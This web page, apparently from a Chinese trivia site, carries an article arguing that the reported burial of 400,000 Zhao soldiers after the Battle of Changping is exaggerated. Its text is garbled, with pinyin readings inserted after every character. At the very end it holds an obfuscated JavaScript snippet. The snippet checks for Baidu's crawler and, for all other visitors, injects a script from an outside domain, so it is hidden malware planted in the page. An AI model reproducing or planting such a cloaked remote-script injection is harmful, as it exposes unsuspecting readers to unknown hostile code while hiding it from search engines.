當(dāng)前位置:首頁(yè) > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

長(zhǎng)平之戰(zhàn)白起坑殺40萬(wàn)趙軍 這一數(shù)據(jù)是真實(shí)嗎?

2017-04-29 07:48:57  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):長(zhǎng)平之戰(zhàn):先我們不考慮到歷史上夸張的問(wèn)題,《史記·白起王翦列傳》其中所云“長(zhǎng)平之事,秦民之十五以上者皆荷戟而向趙”,而也有記載趙在

長(zhǎng)平之戰(zhàn):先我們不考慮到歷史上夸張的問(wèn)題,《史記·白起王翦列傳》其中所云“長(zhǎng)平之事,秦民之十五以上者皆荷戟而向趙”,而也有記載趙在長(zhǎng)平之戰(zhàn)后,所有青壯年幾乎損失殆盡.所以秦國(guó)60萬(wàn),趙國(guó)45萬(wàn)的數(shù)字基本是屬實(shí)的,可能略有夸大吧。

只是我估計(jì)兩邊的軍隊(duì),這個(gè)數(shù)字應(yīng)該不可能全部是戰(zhàn)斗人員,應(yīng)該是包括了后勤部隊(duì)??紤]到戰(zhàn)爭(zhēng)所在,也是三年的相持,是在上黨,也是趙國(guó)最富庶的地方,所以趙國(guó)采用運(yùn)輸和自給自足的耕種,應(yīng)該可以基本滿足軍隊(duì)所需。

而秦國(guó)應(yīng)該是頃全國(guó)之力來(lái)打這場(chǎng)戰(zhàn)斗的),《呂氏春秋·應(yīng)言篇》有“秦雖大勝于長(zhǎng)平,三年然后決,士民倦,糧食□”(□缺字當(dāng)為“匱”乏”之屬),所以基本上估計(jì)60萬(wàn)里面可能有很大部分,可能達(dá)到一半以上是運(yùn)輸部隊(duì)和后勤負(fù)責(zé)耕種的部隊(duì)吧。這樣可能比較能解釋后勤補(bǔ)給的問(wèn)題。

而關(guān)于坑殺的問(wèn)題。首先,坑殺的數(shù)字可以說(shuō)肯定有夸大,當(dāng)時(shí)趙國(guó)最多發(fā)動(dòng)了有水分的45萬(wàn)人馬,在經(jīng)過(guò)激烈的戰(zhàn)斗后,不大可能還有40萬(wàn)的剩余部隊(duì)。而且考慮到當(dāng)時(shí)天下未定,秦國(guó)又是眾矢之的,剛經(jīng)過(guò)一場(chǎng)那么激烈的戰(zhàn)斗,雖然獲勝但是損失過(guò)半,需要的是時(shí)間來(lái)恢復(fù)國(guó)力軍力。而且養(yǎng)不起投降的趙國(guó)軍隊(duì),又不可能放回去。所以用坑殺的方式,一方面徹底削弱趙國(guó),一方面也有殺給其他各國(guó)看的成分在,讓他們?cè)诎l(fā)動(dòng)對(duì)秦戰(zhàn)爭(zhēng)的時(shí)候需要多多考慮。所以很有可能非常多的夸大了數(shù)字,可能只坑殺了10幾萬(wàn)到20萬(wàn)的軍隊(duì)吧。

所以30萬(wàn)剩余秦軍,坑殺10-20萬(wàn)趙軍還是可以理解的。而且坑殺的地點(diǎn),根據(jù)最新研究,是很分散的,不是一次性集中在一個(gè)坑里面殺掉的,是分散的,所以白起可能是分開來(lái),瞞著降卒多次進(jìn)行的坑殺,可能是以叫他們進(jìn)行挖坑的工作是坑殺或者用酒灌醉后坑殺的,以所以帶著武器也可以理解。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}